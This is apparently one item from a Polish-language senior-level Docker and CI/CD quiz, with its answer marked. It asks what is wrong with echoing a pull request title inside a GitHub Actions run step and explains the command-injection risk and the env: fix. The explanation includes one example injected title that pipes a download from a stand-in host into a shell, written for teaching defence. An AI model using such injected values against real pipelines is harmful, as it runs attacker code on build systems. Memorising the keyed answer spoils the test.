Docker i CI/CD · Senior · Pytanie 32 z 75
Co jest nie tak z run: echo "${{ github.event.pull_request.title }}"?
- 1Wyrażenia nie mogą czytać danych PR w krokach
run - ✓Poprawna odpowiedź: Tytuł trafia do skryptu i może wstrzyknąć polecenia
- 3Tytuły dłuższe niż 72 znaki wywracają cały krok
Wyjaśnienie
Tytuł typu "; curl evil.sh | sh; " staje się częścią skryptu powłoki. Przekazuj niezaufane wartości przez env: i odwołuj się do nich jak do zmiennych powłoki.